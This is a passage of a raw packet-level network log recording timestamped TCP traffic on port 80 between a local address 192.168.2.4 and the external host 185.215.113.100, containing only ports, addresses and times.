Sep 1, 2024 01:22:10.524652958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524676085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524686098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524708033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524708986 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524718046 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524727106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524732113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524733067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524740934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524743080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524755001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524758101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524765015 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524769068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524796009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524808884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524808884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524841070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524872065 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524934053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524950027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524960041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524972916 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.524981976 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.524991989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525005102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525007010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525007010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525016069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525031090 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525036097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525042057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525068045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525068998 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525079012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525085926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525088072 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525094986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525105953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525118113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525119066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525136948 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525151968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525196075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525206089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525217056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525226116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525232077 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525235891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525240898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525247097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.525265932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525285959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.525285959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.560559034 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.565392017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804047108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804105997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804119110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804130077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804132938 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804141998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804152012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804153919 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804195881 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804214954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804227114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804235935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804245949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804255962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804258108 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804270029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804280043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804297924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804310083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804320097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804325104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804332018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804342031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804344893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804353952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804364920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804364920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804392099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804402113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804410934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804413080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804423094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804430962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804440975 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804441929 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804461002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804461956 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804471970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804487944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804498911 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804498911 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804505110 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804508924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804518938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804527998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804536104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804538965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804554939 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804563046 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804564953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804574966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804580927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804586887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804598093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804608107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804609060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804627895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804637909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804639101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804649115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804656982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804691076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804708958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804719925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804728985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804745913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804749966 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804758072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804768085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804768085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804779053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804789066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804795027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804816008 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804824114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804830074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804840088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804848909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804852962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804858923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804867983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804876089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804882050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804887056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804896116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804913044 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804913044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804924011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804933071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804934978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804955006 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804972887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.804986954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.804997921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805007935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805017948 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805026054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805028915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805048943 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805074930 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805099010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805113077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805135012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805141926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805144072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805155993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805165052 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805166960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805176973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805182934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805186033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805196047 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805205107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805212021 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805233002 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805249929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805250883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805259943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805269957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805279016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805289984 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805289984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805306911 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805315971 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805318117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805327892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805344105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805368900 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805378914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805389881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805402994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805411100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805421114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805440903 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805458069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805500984 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805556059 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805565119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805596113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805612087 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805620909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805639982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805649996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805660963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805664062 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805671930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805682898 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805682898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805711031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805727959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805730104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805741072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805751085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805768013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805768013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805779934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805788994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805797100 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805799961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805818081 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805825949 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805830002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805840969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805850983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805851936 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805875063 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805892944 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.805959940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805969954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805979013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805986881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.805996895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806005955 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806008101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806020021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806030989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806042910 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806058884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806066990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806085110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806093931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806103945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806113958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806123972 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806126118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806143045 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806171894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806205988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806216955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806226015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806236029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806243896 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806246042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.806277037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.806302071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890399933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890450954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890459061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890470982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890481949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890491962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890505075 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890535116 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890566111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890575886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890584946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890594006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890604019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890609026 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890614033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890625000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890635967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890635967 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890654087 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890674114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890697002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890706062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890717030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890726089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890733004 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890736103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890747070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890763044 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890791893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890820026 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890829086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890839100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890847921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890857935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890862942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890871048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890882015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890882969 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890892029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890902042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890902996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890921116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890927076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890932083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890942097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890958071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890959024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890969038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890971899 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.890980005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.890999079 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891026974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891051054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891062021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891072035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891082048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891091108 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891092062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891100883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891110897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891119003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891148090 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891182899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891191959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891201019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891211033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891222954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891222954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891232014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891242981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891263962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891277075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891287088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891297102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891307116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891315937 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891316891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891329050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:10.891344070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891370058 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:10.891391039 CEST	80	49730	185.215.113.100	192.168.2.4
